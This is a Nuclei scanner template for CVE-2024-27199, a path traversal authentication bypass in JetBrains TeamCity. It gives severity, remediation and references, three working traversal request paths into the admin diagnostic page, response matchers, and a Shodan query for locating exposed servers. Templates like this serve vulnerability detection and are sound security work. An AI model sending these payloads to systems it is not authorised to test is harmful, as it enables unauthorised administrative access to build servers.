id: CVE-2024-27199

info:
  name: TeamCity < 2023.11.4 - Authentication Bypass
  author: DhiyaneshDk
  severity: high
  description: |
    In JetBrains TeamCity before 2023.11.4 path traversal allowing to perform limited admin actions was possible
  impact: |
    Unauthenticated attackers can perform limited administrative actions on TeamCity servers via path traversal, potentially accessing sensitive build information.
  remediation: |
    Update JetBrains TeamCity to version 2023.11.4 or later.
  reference:
    - https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-27199
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cwe-id: CWE-23
    epss-score: 0.90931
    epss-percentile: 0.99646
    cpe: cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    shodan-query: http.component:"TeamCity"
    product: teamcity
    vendor: jetbrains
  tags: cve,cve2024,teamcity,jetbrains,auth-bypass,vkev,vuln,kev

http:
  - method: GET
    path:
      - "{{BaseURL}}/res/../admin/diagnostic.jsp"
      - "{{BaseURL}}/.well-known/acme-challenge/../../admin/diagnostic.jsp"
      - "{{BaseURL}}/update/../admin/diagnostic.jsp"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains_all(body, "Debug Logging", "CPU & Memory Usage")'
        condition: and
# digest: 4a0a004730450221009bfdfc13f48e78a84a2ccb9850aa086f016fdc9d4b449fadc7a7e83f7002aece0220392019a8a0e864593201477a20373f4751886a6c91eb63e2c71b5ce4c7b08acd:922c64590222798bb761d5b6d8e72950